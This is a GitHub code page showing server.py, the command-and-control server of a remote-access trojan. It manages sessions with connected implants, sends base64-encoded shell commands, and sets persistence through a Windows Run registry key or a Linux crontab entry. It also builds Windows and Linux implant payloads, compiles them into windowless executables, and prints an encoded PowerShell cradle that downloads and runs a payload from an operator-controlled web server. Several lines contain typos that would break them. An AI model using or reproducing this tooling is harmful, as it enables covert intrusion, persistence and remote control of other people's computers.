-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathserver.py
353 lines (329 loc) · 14.6 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
import socket
import random
import string
import threading
import os
import subprocess
import base64
import os.path
import shutil
from prettytable import PrettyTable
import time
from datetime import datetime
from banner import *
def comm_in(targ_id_input):
print("[+] Awaiting response ...")
response = targ_id_input.recv(4096).decode()
response = base64.b64encode(response)
response = response.decode().strip()
return response
def comm_out(targ_id_input, message):
message = str(message)
message = base64.b64encode(bytes(message, encoding='utf-8'))
targ_id_input.send(message)
def kill_sig(targ_id_input, message):
message = str(message)
message = base64.b64encode(bytes(message, encoding='utf-8'))
targ_id_input.send(message)
def listener_handler():
sock.bind((host_ip, int(host_port)))
print('[+] Awaiting connections from client...')
sock.listen()
t1 = threading.Thread(target=comm_handler)
t1.start()
def comm_handler():
while True:
if kill_flag == 1:
break
try:
remote_target, remote_ip = sock.accept()
username = remote_target.recv(1024).decode()
username = base64.b64decode(username).decode()
admin = remote_target.recv(1024).decode()
admin = base64.b64decode(admin).decode()
op_sys = remote_target.recv(4096).decode()
op_sys = base64.b64decode(op_sys).decode()
if admin == 1:
admin_val = 'Yes'
elif username == 'root':
admin_val = 'Yes'
else:
admin_val = 'No'
if 'Windows' in op_sys:
pay_val = 1
else:
pay_val = 2
cur_time = time.strftime("%H:%M:%S", time.localtime())
date = datetime.now()
time_record = f"{date.day}/{date.month}/{date.year} {cur_time}"
host_name = socket.gethostbyaddr(remote_ip[0])
if host_name is not None:
targets.append(
[remote_target, f"{host_name[0]}@{remote_ip[0]}:{remote_ip[1]}", time_record, username,
admin_val, op_sys, pay_val, 'Active'])
print(f'[+] Connection received from {remote_ip[0]}\n' + 'Enter a command#> ', end="")
else:
targets.append([remote_target, remote_ip[0], time_record, username, admin_val, op_sys, pay_val,
'Active'])
print(f'[+] Connection received from {remote_ip[0]}\n' + 'Enter a command#> ', end="")
except ConnectionError:
pass
def target_comm(targ_id_input, target_input, num_targets):
while True:
message = input(f'{target_input[num_targets][3]}/{target_input[num_targets][1]}#> ')
if len(message) == 0:
continue
if message == 'help':
pass
else:
comm_out(targ_id_input, message)
if message == 'exit':
message = base64.b64encode(message.encode())
targ_id_input.send(message)
targ_id_input.close()
target_input[num_targets][7] = 'Dead'
break
if message == 'background':
break
if message == 'persist':
payload_name = input('[+] Enter the name of the payload to add to autorun: ')
if target_input[num_targets][6] == 1:
persist_command_1 = f'cmd.exe /c copy {payload_name} C:\\Users\\Public'
persist_command_1 = base64.b64encode(persist_command_1.encode())
targ_id_input.send(persist_command_1)
persist_command_2 = (f'reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion'
f'\\Run -v '
f'screendoor /t REG_SZ /d C:\\Users\\Public\\{payload_name}')
persist_command_2 = base64.b64encode(persist_command_2.encode())
targ_id_input.send(persist_command_2)
print('[+] Run this command to cleanup the registry: \nreg delete '
'HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v screendoor /f')
if target_input[num_targets][6] == 2:
persist_command = (f'echo "*/1 * * * * python3 /home/'
f'{target_input[num_targets][3]}/{payload_name}" '
f'| crontab -')
persist_command = base64.b64encode(persist_command.encode())
targ_id_input.send(persist_command)
print('[+] Run this command to clean up the crontab : \n crontab -r')
print('[+] Persistence technique completed.')
else:
response = comm_in(targ_id_input)
if response == 'exit':
print('[-] The client has terminated the session.')
targ_id_input.close()
break
print(response)
def winplant():
ran_name = (''.join(random.choices(string.ascii_lowercase, k=6)))
file_name = f'{ran_name}.py'
check_cwd = os.getcwd()
if os.path.exists(f'{check_cwd}\\winplant.py'):
shutil.copy('winplant.py', file_name)
else:
print('[-] winplant.py not found.')
with open(file_name) as f:
new_host = f.read().replace('Input_IP_Here', host_ip)
with open(file_name, 'w') as f:
f.write(new_host)
f.close()
with open(file_name) as f:
new_port = f.read().replace('Input_Port_Here', host_port)
with open(file_name, 'w') as f:
f.write(new_port)
f.close()
if os.path.exists(f'{file_name}'):
print(f'[+] {file_name} saved to {check_cwd}')
else:
print(f'[-] Some error occurred with generation.')
def linplant():
ran_name = (''.join(random.choices(string.ascii_lowercase, k=6)))
file_name = f'{ran_name}.py'
check_cwd = os.getcwd()
if os.path.exists(f'{check_cwd}\\linplant.py'):
shutil.copy('linplant.py', file_name)
else:
print('[-] linplant.py not found.')
with open(file_name) as f:
new_host = f.read().replace('Input_IP_Here', host_ip)
with open(file_name, 'w') as f:
f.write(new_host)
f.close()
with open(file_name) as f:
new_port = f.read().replace('Input_Port_Here', host_port)
with open(file_name, 'w') as f:
f.write(new_port)
f.close()
if os.path.exists(f'{file_name}'):
print(f'[+] {file_name} saved to {check_cwd}')
else:
print(f'[-] Some error occurred with generation.')
def exeplant():
ran_name = (''.join(random.choices(string.ascii_lowercase, k=6)))
file_name = f'{ran_name}.py'
exe_file = f'{ran_name}.exe'
check_cwd = os.getcwd()
if os.path.exists(f'{check_cwd}\\winplant.py'):
shutil.copy('winplant.py', file_name)
else:
print('[-] winplant.py not found.')
with open(file_name) as f:
new_host = f.read().replace('Input_IP_Here', host_ip)
with open(file_name, 'w') as f:
f.write(new_host)
f.close()
with open(file_name) as f:
new_port = f.read().replace('Input_Port_Here', host_port)
with open(file_name, 'w') as f:
f.write(new_port)
f.close()
pyinstaller_exec = f'pyinstaller {file_name} -w --clean --onefile --distpath .'
print(f'[+] Compiling executable {exe_file}...')
subprocess.call(pyinstaller_exec, stderr=subprocess.DEVNULL)
os.remove(f'{ran_name}.spec')
shutil.rmtree('build')
if os.path.exists(f'{check_cwd}\\{exe_file}'):
print(f'[+] Executable {exe_file} successfully created and saved to current directory.')
else:
print(f'[-] Some error occurred during generation.')
def pshell_cradle():
web_server_ip = input('[+] Web Server listening host: ')
web_server_port = input('[+] Web Server listening port: ')
payload_name = input('[+] Payload name: ')
runner_file = (''.join(random.choices(string.ascii_lowercase, k=6)))
runner_file = f'{runner_file}.txt'
randomized_exe_file = (''.join(random.choices(string.ascii_lowercase, k=6)))
randomized_exe_file = f"{randomized_exe_file}.exe"
print(f'[+] Run the following command to start a web serer.\npython3 -m http.serer -b {web_server_ip}'
f' {web_server_port}')
runner_cal_unencoded = (f"iex (new-object net.webclient).downloading('http://{web_server_ip}:{web_server_port}/"
f"{runner_file}')").encode('utf-161e')
with open(runner_file, 'w') as f:
f.write(f'powershell -c wget http://{web_server_ip}:{web_server_port}/{payload_name} '
f'-outfile {randomized_exe_file}; Start-Process -FilePath {randomized_exe_file}')
f.close()
b64_runner_cal = base64.b64encode(runner_cal_unencoded)
b64_runner_cal = b64_runner_cal.decode()
print(f'\n[+] Encoded payload\n\npowershell -e {b64_runner_cal}')
b64_runner_cal_decode = base64.b64decode(b64_runner_cal).decode()
print(f'\n[+] Unencoded payload\n\n{b64_runner_cal_decode}')
def help_desk():
print('''
╔═╗┌─┐┌┬┐┌┬┐┌─┐┌┐┌┌┬┐┌─┐
║ │ ││││││││├─┤│││ ││└─┐
╚═╝└─┘┴ ┴┴ ┴┴ ┴┘└┘─┴┘└─┘
------------------------
Menu Commands
------------------------------------------------------------
listen -g --> Generate a new listener
windows --> Generate a Windows Compatible Python Payload
linux --> Generate a Linux Compatible Python Payload
executable --> Generate an executable payload for Windows
sessions -l --> List sessions
sessions -i <val> --> Enter a new session
kill <val> --> Kills an active session
Session Commands
------------------------------------------------------------
background --> Backgrounds the current session
exit --> Terminates the current session
''')
if __name__ == '__main__':
targets = []
listener_counter = 0
banner()
kill_flag = 0
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
command = input('Enter command#> ')
if command == 'help':
help_desk()
if command == 'listen -g':
host_ip = input('[+] Enter the IP to listen on: ')
host_port = input('[+] Enter the port to listen on: ')
listener_handler()
listener_counter += 1
if command == 'pshell_shell':
pshell_cradle()
if command == 'windows':
if listener_counter > 0:
winplant()
else:
print('[-] No listener is running. Please start a listener first.')
if command == 'linux':
if listener_counter > 0:
linplant()
else:
print('[-] No listener is running. Please start a listener first.')
if command == 'executable':
if listener_counter > 0:
exeplant()
else:
print('[-] No listener is running. Please start a listener first.')
if command.split(" ")[0] == 'sessions':
session_counter = 0
if command.split(" ")[1] == '-l':
myTable = PrettyTable()
myTable.field_names = ['Session', 'Status', 'Username', 'Admin', 'Target:Port',
'Operating System', 'Check-In Time']
myTable.padding_width = 3
for target in targets:
myTable.add_row(
[session_counter, target[7], target[3], target[4], target[1], target[5], target[2]])
session_counter += 1
print(myTable)
if command.split(" ")[1] == '-i':
try:
num = int(command.split(" ")[2])
targ_id = (targets[num])[0]
if (targets[num][7]) == 'Active':
target_comm(targ_id, targets, num)
else:
print('[-] You cannot interact with a dead session.')
except (IndexError, ValueError):
print(f'[-] Session does not exist')
if command.split(" ")[0] == 'kill':
try:
num = int(command.split(" ")[1])
targ_id = (targets[num])[0]
if (targets[num][7]) == 'Active':
kill_sig(targ_id, 'exit')
targets[num][7] = 'Dead'
print(f'[+] Session {num} terminated.')
else:
print('[-] You cannot interact with a dead session.')
except Exception as e:
print(f'[-] An unexpected error occurred: {e}')
break
if command == 'exit':
quit_message = input('Ctrl-c\n[+] Do you relly want to quit? (y/n)').lower()
if quit_message == 'y':
tar_length = len(targets)
for target in targets:
if target[7] == 'Dead':
pass
else:
comm_out(target[0], 'exit')
kill_flag = 1
if listener_counter > 0:
sock.close()
break
else:
continue
except Exception as e:
print(f'[-] An unexpected error occurred: {e}')
break
except KeyboardInterrupt:
quit_message = input('Ctrl-c\n[+] Do you relly want to quit? (y/n)').lower()
if quit_message == 'y':
tar_length = len(targets)
for target in targets:
if target[7] == 'Dead':
pass
else:
comm_out(target[0], 'exit')
kill_flag = 1
if listener_counter > 0:
sock.close()
break
else:
continue